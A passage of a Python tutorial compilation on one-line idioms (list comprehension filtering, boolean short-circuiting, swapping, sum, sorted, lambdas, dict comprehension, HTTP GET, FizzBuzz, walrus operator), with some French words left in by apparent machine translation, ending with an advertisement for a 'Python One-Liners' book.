# Elements <8 [2, 6, 4, 3, 1] # Even Elements [8, 2, 6, 4] # Odd Elements [3, 1]
This is the most efficient way of filtering an array and it’s also the most Pythonic one.
Related Article :How to Filter a List in Python?
Python One Line Append
Problème :How can we append multiple elements to a list in a for loop but using only a single line of Python code?
Exemple :Say, you want to filter a list of words against another list and store the resulting words in a new list using the append() method in a for loop.
# FINXTER TUTORIAL: # How to filter a list of words? words = ['hi', 'hello', 'Python', 'a', 'the'] stop_words = {'a', 'the'} filtered_words = [] for word in words: if word not in stop_words: filtered_words.append(word) print(filtered_words) # ['hi', 'hello', 'Python']
You first create a list of words to be filtered and stored in an initially empty list filtered_words
. Second, you create a set of stop words against you want to check the words in the list. Note that it’s far more efficient to use the set data structure for this because checking membership in sets is much faster than checking membership in lists. See this tutorial for a full guide on Python sets.
You now iterate over all elements in the list words
and add them to the filtered_words
list if they are not in the set stop_words
.
Solution :You can one-linerize this filtering process using the following code:
filtered_words = [word for word in words if word not in stop_words]
The solution uses list comprehension to, essentially, create a single-line for loop.
Here’s the complete code that solves the problem using the one-liner filtering method:
# FINXTER TUTORIAL: # How to filter a list of words? words = ['hi', 'hello', 'Python', 'a', 'the'] stop_words = {'a', 'the'} filtered_words = [word for word in words if word not in stop_words] print(filtered_words) # ['hi', 'hello', 'Python']
Here’s a short tutorial on filtering in case you need more explanations:
Related Articles :
- How to Filter a List in Python?
- Python One Line Append
Python One Line And Or
How do the Boolean and
and or
operators work in the context of Python one-liners?
You may know the standard use of the logical operators applied to Boolean values:
>>> True and False False >>> False or True True
But there’s more to these operators that only experts in the art of writing concise Python one-liners know.
For instance, the following use of the or
operator applied to non-Boolean values is little known:
>>> 'hello' or 42 'hello' >>> [] or 42 42
Similarly, the following use of the and operator often causes confusion in readers of advanced Python one-liners:
>>> 'hello' and 42 42 >>> [] and 42 []
How do the and
and or
operator work when applied to non-Boolean operands?
To understand what is going on, you need to look at the definitions of the Boolean operators:
Operator | Description |
---|---|
a or b | Returns b if the expression a evaluates to False using implicit Boolean conversion. If the expression a evaluates to True , the expression a is returned. |
a and b | Returns b if the expression a evaluates to True using implicit Boolean conversion. If the expression a evaluates to False , the expression a is returned. |
Study these explanations thoroughly! The return value is of the same data type of the operands—they only return a Boolean value if the operands are already Boolean!
This optimization is called short-circuiting and it’s common practice in many programming languages. For example, it’s not necessary to evaluate the result of the second operand of an and operation if the first operand evaluates to False
. The whole operation must evaluate to False
in this case because the logical and only returns True
if both operands are True
.
Python goes one step further using the property of implicit Boolean conversion. Every object can be implicitly converted to a Boolean value. That’s why you see code like this:
l = [] if l: print('hi') else: print('bye') # bye
You pass a list into the if condition. Python then converts the list to a Boolean value to determine which branch to visit next. The empty list evaluates to False
. All other lists evaluate to True
, so the result is bye
.
Together, short circuiting and implicit Boolean conversion allow the logical operators and and or to be applied to any two Python objects as operands. The return value always is one of the two operands using the short circuiting rules described in the table.
Python One Line Conditional Assignment
Problème :How to perform one-line if conditional assignments in Python?
Exemple :Say, you start with the following code.
x = 2 boo = True
You want to set the value of x
to 42
if boo
is True
, and do nothing otherwise.
Let’s dive into the different ways to accomplish this in Python. We start with an overview:
Exercice :Run the code. Are all outputs the same?
Next, you’ll dive into each of those methods and boost your one-liner superpower!
Related Articles:
- Python One Line Conditional Assignment
- Python One Line Ternary
- Python Ternary — Tuple Syntax Hack
- If-Then-Else in One Line Python [Video + Interactive Code Shell]
Python One Line Swap
Problème :Given two variables a
and b
. Use a single line of Python code to swap the variables to assign the value of a
to b
and the value of b
to a
.
Exemple :Say, you have to integers a=21
and b=42
. You want to swap the variables so that a=42
and b=21
.
a = 21 b = 42 # SWAP MAGIC HERE print(a, b) # 42 21
How to swap to variables as a Python one-liner?
To swap two variables a and b, use the multiple assignment expression a, b = b, a
that assigns the value of a
to b
and the value of b
to a
.
a = 21 b = 42 # Swap One-Liner a, b = b, a # Print the result to the shell print(a, b) # 42 21
Find a detailed explanation of this one-liner at our interactive code tutorial:
Related tutorial :How to Swap Two Variables in One Line Python?
Python One Line Sum
Problème :How to sum over all values in a given Python list?
a = [1, 2, 3]
You want to calculate the sum of all values in the list—using only a single line of Python code!
# RESULT: 6
Solution :Python’s built-in sum()
function helps you to sum over all values in an iterable, such as a Python list. Here’s the minimal code example.
a = [1, 2, 3] print(sum(a)) # 6
Comment ça marche? The syntax is sum(iterable, start=0)
:
Argument | Description |
---|---|
iterable | Sum over all elements in the iterable . This can be a list, a tuple, a set, or any other data structure that allows you to iterate over the elements. Exemple : sum([1, 2, 3]) returns 1+2+3=6 . |
start | (Optional.) The default start value is 0. If you define another start value, the sum of all values in the iterable will be added to this start value. Exemple : sum([1, 2, 3], 9) returns 9+1+2+3=15 . |
Please find more details in the complete tutorial about summing over all values in a list and a nested list:
Related Tutorial :Python One Line Sum List
Python One Line Sort
To sort and return a Python list in a single line of code, use the sorted(list)
method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy.
Problème :Given a list of comparable objects such as integers or floats. Is there a way to sort the list and return the sorted list in a single line of Python code?
Exemple :Say, you’ve got the following list.
a = [4, 2, 1, 3]
You want to sort this list and return the result in a single line. If you use the list.sort()
method, the return value is None
:
print(a.sort()) # None
The return value of the list.sort()
method is None
, but many coders expect it to be the sorted list. So they’re surprised finding out that their variables contain the None
type rather than a sorted list.
Here’s a quick overview of the methods to accomplish this:
Exercice :Change the list to be sorted by adding negative floats. Does it still work?
Do you want to learn more about each of the methods? Check out my related tutorial:
Related tutorial :How to Sort and Return a Python List in One Line?
Python One Line Semicolon
Here’s how one may use the semicolon:
x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);
If you run this Python one-liner with semicolons, you’ll get the following output:
hi young friend
On the first view, it doesn’t even look like Python code! C++ has semicolons. Java has semicolons. But Python is supposed to be a semicolon-free language, isn’t it?
The meaning of the semicolon in programming languages such as Java and C++ is to terminate the current statement . In those languages, you’ll use it after every single line. Without it, the interpreter believes that the code has not terminated yet and it starts looking for more. Any Java or C++ coder knows situations where an error occurred because they forgot to use a semicolon in their code.
In Python, however, semicolons have a slightly different meaning. They allow you to create so-called compound statements. The if
construct is a compound statement. The for
loop is a compound statement. And, a number of semicolon-separated Python statements are compound statements.
Related Article :Python Semicolons:How They Work and Why Haters Tell You to Avoid Them
Python One Line Function Definition
A lambda function allows you to define a function in a single line. It starts with the keyword lambda
, followed by a comma-separated list of zero or more arguments, followed by the colon and the return expression. For example, lambda x, y: x+y
calculates the sum of the two argument values x+y
in one line of Python code.
Problème :How to define a function in a single line of Python code?
Exemple :Say, you’ve got the following function in three lines. How to compress them into a single line of Python code?
def say_hi(*friends): for friend in friends: print('hi', friend) friends = ['Alice', 'Bob', 'Ann'] say_hi(*friends)
The code defines a function say_hi
that takes an iterable as input—the names of your friends—and prints 'hi x'
for each element x
in your iterable.
The output is:
''' hi Alice hi Bob hi Ann '''
Let’s dive into the different methods to accomplish this! First, here’s a quick interactive overview to test the waters:
Exercice :Run the code—is the output the same for all four methods?
In the following article, you’ll learn about each method in greater detail!
Related Article :Python One Line Function Definition
Python One Line Dictionary
Challenge :Say, you want to have the list indices as keys and the list elements as values.
# Given a list: a = ['Alice', 'Liz', 'Bob'] # One-Line Statement Creating a Dict: d = dict(enumerate(a)) print(d) # {0: 'Alice', 1: 'Liz', 2: 'Bob'}
The one-liner dict(enumerate(a))
first creates an iterable of (index, element)
tuples from the list a
using the enumerate
fonction. The dict()
constructor than transforms this iterable of tuples to (key, value)
mappages. The index
tuple value becomes the new key
. The element
tuple value becomes the new value
.
Learn more about different one-liners in the context of dictionaries in this blog article:
Article connexe : Python One Line Dictionary
Python One Line Dict Comprehension
Dictionary Comprehension is a concise and memory-efficient way to create and initialize dictionaries in one line of Python code. It consists of two parts:expression and context. The expression defines how to map keys to values. The context loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.
Article connexe : Python Dictionary Comprehension
Python One Line Docstring
Per convention, you use one-line docstrings if the function, module, class, or method is obvious enough to warrant a short explanation—but nothing more. You can enclose the one-liner docstring within single quotes, double quotes, or even triple quotes. However, enclosing the one-liner docstring in a triple quote is the most Pythonic way.
For example, the following function can be easily understood. Therefore, a one-liner docstring is sufficient to describe its behavior:
def add(x, y): '''Add both arguments and returns their sum.''' return x + y print(add.__doc__) # Add both arguments and returns their sum.
Related Article :Python One Line Docstring
Python One Line Download File
Summary :Download a file over the web by using the following steps in Python.
- Import libary
requests
- Define URL string
- Get file data from URL
- Store file data in file object on your computer
Here’s how you can do this to download the Facebook Favicon (source):
At the beginning of our struggle with web scraping, you may have trouble downloading files using Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.
Article connexe : How to Download a File Over HTTPS in Python?
Python One Line For Loop Append
However, a much better option to append all elements in a given iterable to a given list is to use the list.extend()
method:
# Method 3 friends = ['Ann', 'Alice'] new_friends = ['Bob', 'Liz'] # One-Liner: friends.extend(new_friends) # Results print(friends) # ['Ann', 'Alice', 'Bob', 'Liz']
The one-liner is much shorter and even faster. You can find a detailed speed comparison here.
Related Article: Python One Line For Loop Append
Python One Line Generator
A generator function is a Pythonic way to create an iterable without explicitly storing it in memory. This reduces memory usage of your code without incurring any additional costs.
Problème :Can we write a one-line generator?
Here’s the code that accomplishes this:
print(sum(random.random() for i in range(1000)))
The code consists of the following parts:
- The
print()
function prints the result of the expression to the shell. - The
sum()
function sums over all values in the following iterable. - The generator expression
random.random() for i in range(1000)
generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.
This way, we still don’t store the whole list of 1000 numbers in memory but create them dynamically.
Article connexe : Python One Line Generator
Python One-Line Password Generator
The following interactive code shell creates a random password for you—using only a single line of Python code!
Related Article: Python One-Line Password Generator
Python One Line HTTP Get
This tutorial shows you how to perform simple HTTP get and post requests to an existing webserver!
Problème :Given the URL location of a webserver serving websites via HTTP. How to access the webserver’s response in a single line of Python code?
Exemple :Say, you want to accomplish the following:
url = 'https://google.com' # ... Magic One-Liner Here... print(result) # ... Google HTML file: ''' <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="de"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>... '''
You can try it yourself in our interactive Python shell:
Exercice :Does this script download the complete source code of the Google.com website?
Let’s learn about the three most important methods to access a website in a single line of Python code—and how they work!
Python Global in One Line
To update a global variable in one line of Python, retrieve the global variable dictionary with the globals()
function, and access the variable by passing the variable name as a string key such as globals()['variable']
. Then overwrite the global variable using the equal symbol, for example in globals()['variable'] = 42
to overwrite the variable with value 42
.
a = 42 def update_3(): globals()['a'] = 21 update_3() print(a) # 21
The code first accesses all global variables using the globals()
function that returns a dictionary mapping names to objects. You access the value associated to the key 'a'
. The return value is the object to which global variable a
points.
Related article: Python One Line Global
Python One Line FizzBuzz
The FizzBuzz problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.
Problème :Print all numbers from 1-100 to the shell with three exceptions:
- For each number divisible by three you print
"Fizz"
, - For each number divisible by five you print
"Buzz"
, and - For each number divisible by three and five you print
"FizzBuzz"
.
Exemple :The first 15 numbers of the FizzBuzz sequence are the following.
1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz 11 Fizz 13 14 FizzBuzz ...
How to write a Python one-liner that solves this problem?
Here’s an interactive overview:
Exercice :Do both one-liners produce the same results? Run the code to check!
Let’s dive into those one-liners to gain a deeper understanding of the matter!
Related Tutorial :Python One Line FizzBuzz
Python One Line Hello World
Step 1: Here’s an interactive browser-based shell:
The shell runs any Python program in your browser.
Step 2 :Type the print function in your browser shell with opening and closing parentheses that are initially empty:
print()
The print()
function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it:a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) 'hello world'
.
Step 3 :Pass the 'hello world'
string into the print()
function between the parentheses.
print('hello world')
Congratulations, your first hello world one-liner is ready! Now, there’s only one thing left:
Step 4 :Run the hello world one-liner program by hitting the “Run” symbol ▶.
Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:
hello world
Related Article :Hello World! A Python One-Liner to Get Started with Python Quickly
Python One Line Comment
One-line comments begin with the hash (#
) character and reach to the end of the line. The newline character terminates the meaning of the comment—which is for the Python interpreter to ignore the commented text. A special case are inline comments that are used after a regular Python statement but before the newline character. The PEP 8 standard recommends to use them sparingly.
# This is a one-line comment print('hi') # This is an inline comment
Related Article :Python Comments — 2-Minute Guide with Exercise
Python One Line Class
Problème :How to create a Python class in a single line of code?
Exemple :Say, you want to create a class Car
with two attributes speed
and color
. Here would be the lengthy definition:
class Car: def __init__(self, speed, color): self.speed = speed self.color = color porsche = Car(200, 'red') tesla = Car(220, 'silver') print(porsche.color) # red print(tesla.color) # silver
How do you do this in a single line of code?
Further Reading: Python One Line Class
Python Define Multiple Variables in One Line
In this article, you’ll learn about two variants of this problem.
- Assign multiple values to multiple variables
- Assign the same value to multiple variables
Let’s have a quick overview of both in our interactive code shell:
Exercice :Increase the number of variables to 3 and create a new one-liner!
Related Article :Python Define Multiple Variables in One Line
Python One Line If (Not) None
Problème :How to assign a value to a variable if it is not equal to None
—using only a single line of Python code?
Solution :A beautiful extension of Python 3.8 is the Walrus operator. The Walrus operator :=
is an assignment operator with return value. Thus, it allows you to check a condition and assign a value at the same time:
# Method 2 if tmp := get_value(): x = tmp
This is a very clean, readable, and Pythonic way. Also, you don’t have the redundant identity assignment in case the if condition is not fulfilled.
Related Articles:
- The Walrus Operator in Python 3.8
- Python One-Line Assign If Not None
Python One Line Map
Consider the following map()
one-liner that changes each element x
of a list to the value of x+1
:
print(list(map(lambda x: x + 1, [1, 2, 3]))) # [2, 3, 4]
You create a map
function applies the function to each element in the list and returns a new map object. This is converted back to a list using the list(...)
fonction.
Article connexe : Python One Line Map
Python One-Liners Book:Master the Single Line First!
Python programmers will improve their computer science skills with these useful one-liners.
Python One-Liners will teach you how to read and write “one-liners”:concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.
The book’s five chapters cover (1) tips and tricks, (2) regular expressions, (3) machine learning, (4) core data science topics, and (5) useful algorithms.
Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills . You’ll learn about advanced Python features such as list comprehension , slicing , lambda functions , regular expressions , map and reduce functions, and slice assignments .
You’ll also learn how to:
- Leverage data structures to solve real-world problems , like using Boolean indexing to find cities with above-average pollution
- Use NumPy basics such as array , shape , axis , type , broadcasting , advanced indexing , slicing , sorting , searching , aggregating , and statistics
- Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
- Create more advanced regular expressions using grouping and named groups , negative lookaheads , escaped characters , whitespaces, character sets (and negative characters sets ), and greedy/nongreedy operators
- Understand a wide range of computer science topics , including anagrams , palindromes , supersets , permutations , factorials , prime numbers , Fibonacci numbers, obfuscation , searching , and algorithmic sorting
By the end of the book, you’ll know how to write Python at its most refined , and create concise, beautiful pieces of “Python art” in merely a single line.
Get your Python One-Liners on Amazon!!